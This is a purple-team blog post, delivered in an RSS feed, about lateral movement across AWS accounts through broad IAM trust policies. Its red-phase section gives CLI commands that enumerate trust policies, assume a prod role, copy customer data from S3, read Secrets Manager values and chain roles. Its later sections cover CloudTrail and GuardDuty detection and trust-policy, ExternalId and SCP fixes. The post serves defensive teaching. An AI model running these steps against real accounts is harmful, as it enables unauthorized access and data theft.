<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cross-Account Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/cross-account/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/cross-account/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Sat, 09 May 2026 18:39:50 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Cross-Account Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/cross-account/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</title>
		<link>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/</link>
					<comments>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 04 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross-Account]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Lateral Movement]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1870</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud lateral movement doesn't need network pivoting — it needs one overly-broad IAM trust policy. How cross-account role chaining works and how to detect it before data leaves.</p>
<p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-capital-one-breach/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <a href="/supply-chain-attack-solarwinds-xz-utils/">Supply chain attacks</a> → <strong>Cloud Lateral Movement</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid <code class="" data-line="">sts:AssumeRole</code> call</li>
<li>The structural vulnerability is a trust policy scoped too broadly — <code class="" data-line="">arn:aws:iam::DEV_ACCOUNT:root</code> instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role</li>
<li>The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → <code class="" data-line="">aws sts assume-role</code> into prod → access data lake S3 bucket → exfiltrate before detection fires</li>
<li>CloudTrail is the primary detection surface: <code class="" data-line="">AssumeRole</code> events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as <code class="" data-line="">Recon:IAMUser/UserPermissions</code></li>
<li>AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account</li>
<li>The structural fix is three layers: scope trust policy to the specific source ARN, add <code class="" data-line="">ExternalId</code> for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Cloud lateral movement IAM</strong> attacks succeed because the authentication step — the <code class="" data-line="">sts:AssumeRole</code> call — works exactly as designed. The Lambda&#8217;s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.</p>
<hr />
<h2 id="the-incident-dev-lambda-to-prod-data-lake">The Incident: Dev Lambda to Prod Data Lake</h2>
<p>Post-breach analysis. The attacker didn&#8217;t find a zero-day. They found a GitHub repository.</p>
<p>A developer had committed an <code class="" data-line="">.env</code> file to a public repo containing <code class="" data-line="">AWS_ACCESS_KEY_ID</code> and <code class="" data-line="">AWS_SECRET_ACCESS_KEY</code> for a Lambda execution role in the dev account. GitHub&#8217;s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.</p>
<p>That 58-minute window is the entire story.</p>
<p>The Lambda&#8217;s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn&#8217;t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the <code class="" data-line="">datalake-reader</code> role in prod read:</p>
<pre><code class="" data-line="">&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;}
</code></pre>
<p>Not the Lambda&#8217;s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume <code class="" data-line="">datalake-reader</code> in prod.</p>
<p>The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.</p>
<p>The revelation: <strong>cloud lateral movement doesn&#8217;t require network pivoting. It requires finding one IAM trust relationship that&#8217;s too broad.</strong></p>
<p>The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.</p>
<hr />
<h2 id="red-phase-the-cross-account-attack-chain">Red Phase: The Cross-Account Attack Chain</h2>
<h3 id="step-1-enumerate-trust-policies-from-a-compromised-role">Step 1: Enumerate Trust Policies from a Compromised Role</h3>
<p>An attacker&#8217;s first move inside a cloud environment is always the same: establish who they are and what they can reach.</p>
<pre><code class="" data-line="">aws sts get-caller-identity
# Returns:
# {
#   &quot;UserId&quot;: &quot;AROAIOSFODNN7EXAMPLE:function-name&quot;,
#   &quot;Account&quot;: &quot;111111111111&quot;,
#   &quot;Arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query &#039;Roles[*].[RoleName,AssumeRolePolicyDocument]&#039; \
  --output json | \
  jq &#039;.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }&#039;
</code></pre>
<pre><code class="" data-line=""># More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account &quot;111111111111&quot; \
  &#039;.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // &quot;check-parent&quot;, principal: .Principal}&#039;
</code></pre>
<pre><code class="" data-line=""># Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query &#039;EvaluationResults[0].EvalDecision&#039; \
  --output text
# Returns: allowed
</code></pre>
<h3 id="step-2-assume-the-cross-account-role">Step 2: Assume the Cross-Account Role</h3>
<pre><code class="" data-line=""># Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;recon-$(date +%s)&quot; \
  --query &#039;Credentials&#039;
# Returns:
# {
#   &quot;AccessKeyId&quot;: &quot;ASIAIOSFODNN7EXAMPLE&quot;,
#   &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,
#   &quot;SessionToken&quot;: &quot;IQoJb3JpZ2luX2...(truncated)&quot;,
#   &quot;Expiration&quot;: &quot;2024-01-15T14:32:00Z&quot;
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID=&quot;ASIAIOSFODNN7EXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;
export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2...&quot;

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   &quot;Account&quot;: &quot;222222222222&quot;,  ← prod account
#   &quot;Arn&quot;: &quot;arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920&quot;
# }
</code></pre>
<h3 id="step-3-enumerate-and-exfiltrate-from-prod">Step 3: Enumerate and Exfiltrate from Prod</h3>
<pre><code class="" data-line=""># What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk &#039;{print $3, $4}&#039; | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query &#039;SecretList[].{Name:Name,LastRotated:LastRotatedDate}&#039; \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query &#039;SecretString&#039; \
  --output text
</code></pre>
<h3 id="step-4-role-chaining-staying-in-the-environment">Step 4: Role Chaining — Staying in the Environment</h3>
<p>Role chaining is assuming one role then using that session to assume another. It extends the attacker&#8217;s reach without returning to the original compromised identity.</p>
<pre><code class="" data-line=""># From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq &#039;.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test(&quot;datalake-reader&quot;)
    ) | .RoleName&#039;

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name &quot;second-hop-$(date +%s)&quot;
</code></pre>
<h3 id="tools-attackers-use-for-cloud-lateral-movement-enumeration">Tools Attackers Use for Cloud Lateral Movement Enumeration</h3>
<p><strong>Pacu</strong> (Rhino Security Labs): Modular AWS exploitation framework. The <code class="" data-line="">iam__enum_users_roles_policies_groups</code> and <code class="" data-line="">iam__privesc_scan</code> modules map the full IAM graph and identify assumption paths automatically.</p>
<pre><code class="" data-line=""># Pacu: enumerate IAM and find assumable roles
pacu
&gt; run iam__enum_users_roles_policies_groups
&gt; run iam__privesc_scan
</code></pre>
<p><strong>CloudFox</strong> (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The <code class="" data-line="">assume-role</code> command enumerates all roles the current identity can assume, including cross-account.</p>
<pre><code class="" data-line=""># CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
</code></pre>
<p><strong>aws-recon</strong>: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.</p>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="cloudtrail-signal-cross-account-assumerole">CloudTrail Signal: Cross-Account AssumeRole</h3>
<p>Every <code class="" data-line="">sts:AssumeRole</code> call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.</p>
<pre><code class="" data-line=""># Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --output json | \
  jq &#039;.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<p>The CloudTrail event structure for a cross-account assumption looks like this:</p>
<pre><code class="" data-line="">{
  &quot;eventSource&quot;: &quot;sts.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;AssumeRole&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;accountId&quot;: &quot;111111111111&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;roleArn&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
    &quot;roleSessionName&quot;: &quot;recon-1705327920&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;203.0.113.42&quot;,
  &quot;userAgent&quot;: &quot;aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0&quot;
}
</code></pre>
<p>The key fields: <code class="" data-line="">userIdentity.accountId</code> is <code class="" data-line="">111111111111</code> (dev), <code class="" data-line="">requestParameters.roleArn</code> contains <code class="" data-line="">222222222222</code> (prod). Those two account IDs not matching is the cross-account signal.</p>
<p>A fresh compromise indicator: <code class="" data-line="">userAgent</code> showing <code class="" data-line="">aws-cli</code> for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don&#8217;t call the CLI — if you see <code class="" data-line="">aws-cli</code> user agent on a Lambda role, that&#8217;s a human or automated tool using stolen credentials.</p>
<h3 id="athena-query-cross-account-assumptions-across-the-organization">Athena Query: Cross-Account Assumptions Across the Organization</h3>
<pre><code class="" data-line="">-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters[&#039;roleArn&#039;] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      &#039;minute&#039;,
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) &lt; 300 THEN &#039;RECENT&#039;
    ELSE &#039;AGED&#039;
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = &#039;sts.amazonaws.com&#039;
  AND eventname = &#039;AssumeRole&#039;
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) &gt; current_timestamp - interval &#039;7&#039; day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters[&#039;roleArn&#039;], &#039;arn:aws:iam::(\d+):&#039;, 1)
    FROM cloudtrail_logs
    WHERE eventname = &#039;AssumeRole&#039;
  )
ORDER BY eventtime DESC;
</code></pre>
<h3 id="guardduty-findings-for-iam-lateral-movement">GuardDuty Findings for IAM Lateral Movement</h3>
<p>GuardDuty surfaces the following finding types relevant to cross-account lateral movement:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>What It Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Identity enumerating IAM roles, policies, or permissions — consistent with Step 1</td>
</tr>
<tr>
<td><code class="" data-line="">PrivilegeEscalation:IAMUser/AdministrativePermissions</code></td>
<td>API calls attempting to gain admin access</td>
</tr>
<tr>
<td><code class="" data-line="">UnauthorizedAccess:IAMUser/TorIPCaller</code></td>
<td>Assumed role used from Tor exit node</td>
</tr>
<tr>
<td><code class="" data-line="">CredentialAccess:IAMUser/AnomalousBehavior</code></td>
<td>Credential access pattern deviates from baseline</td>
</tr>
<tr>
<td><code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>S3 read volume spike — fires after the exfiltration in Step 3</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;Recon:IAMUser/UserPermissions&quot;,
          &quot;PrivilegeEscalation:IAMUser/AdministrativePermissions&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:S3/ObjectRead.Unusual&quot;
        ]
      },
      &quot;severity&quot;: {
        &quot;GreaterThanOrEqualTo&quot;: 4
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }&#039;
</code></pre>
<h3 id="aws-access-analyzer-automated-trust-policy-audit">AWS Access Analyzer: Automated Trust Policy Audit</h3>
<p>Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.</p>
<pre><code class="" data-line=""># List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &#039;analyzers[0].arn&#039; --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }&#039;
</code></pre>
<p>An Access Analyzer finding for the vulnerable trust policy looks like:</p>
<pre><code class="" data-line="">{
  &quot;id&quot;: &quot;a1b2c3d4-...&quot;,
  &quot;resourceType&quot;: &quot;AWS::IAM::Role&quot;,
  &quot;resource&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
  &quot;principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;},
  &quot;action&quot;: [&quot;sts:AssumeRole&quot;],
  &quot;condition&quot;: {},
  &quot;status&quot;: &quot;ACTIVE&quot;
}
</code></pre>
<p>The <code class="" data-line="">arn:aws:iam::111111111111:root</code> principal with no condition block is the flag — the entire dev account, no restrictions.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-scope-the-trust-policy-to-the-specific-source-arn">Fix 1: Scope the Trust Policy to the Specific Source ARN</h3>
<p>This is the primary fix. The trust policy should name the exact role that needs access, not the account root.</p>
<pre><code class="" data-line="">// BAD — allows any identity in the dev account to assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }
  ]
}
</code></pre>
<pre><code class="" data-line="">// GOOD — only the specific Lambda execution role can assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:role/api-processor-lambda-execution-role&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;sts:ExternalId&quot;: &quot;prod-datalake-access-v1&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json
</code></pre>
<h3 id="fix-2-add-externalid-for-confused-deputy-protection">Fix 2: Add ExternalId for Confused Deputy Protection</h3>
<p><code class="" data-line="">ExternalId</code> is a shared secret between the two parties establishing the cross-account trust. When the source role calls <code class="" data-line="">sts:AssumeRole</code>, it must provide the <code class="" data-line="">ExternalId</code> value, or the assumption is denied.</p>
<p>This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the <code class="" data-line="">ExternalId</code>.</p>
<pre><code class="" data-line=""># Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;api-processor-job&quot; \
  --external-id &quot;prod-datalake-access-v1&quot;
# If ExternalId is wrong or absent: error — not authorized to assume role
</code></pre>
<p>The limitation: <code class="" data-line="">ExternalId</code> does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the <code class="" data-line="">ExternalId</code> value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.</p>
<h3 id="fix-3-organizations-scps-to-restrict-cross-account-assumptions">Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions</h3>
<p>Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.</p>
<pre><code class="" data-line="">// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account&#039;s OU
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RestrictCrossAccountAssumeRole&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;aws:PrincipalAccount&quot;: [
            &quot;111111111111&quot;,
            &quot;333333333333&quot;
          ]
        },
        &quot;BoolIfExists&quot;: {
          &quot;aws:PrincipalIsAWSService&quot;: &quot;false&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>This SCP denies any <code class="" data-line="">sts:AssumeRole</code> call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.</p>
<h3 id="fix-4-enable-access-analyzer-organization-wide">Fix 4: Enable Access Analyzer Organization-Wide</h3>
<p>Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.</p>
<pre><code class="" data-line=""># Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags &#039;{&quot;Environment&quot;: &quot;production&quot;, &quot;Team&quot;: &quot;security&quot;}&#039;

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &quot;analyzers[?type==&#039;ORGANIZATION&#039;].arn | [0]&quot; \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;resourceType&quot;: {&quot;eq&quot;: [&quot;AWS::IAM::Role&quot;]}, &quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {resource: .resource, principal: .principal}&#039;
</code></pre>
<h3 id="fix-5-prefer-oidc-workload-identity-over-cross-account-roles">Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles</h3>
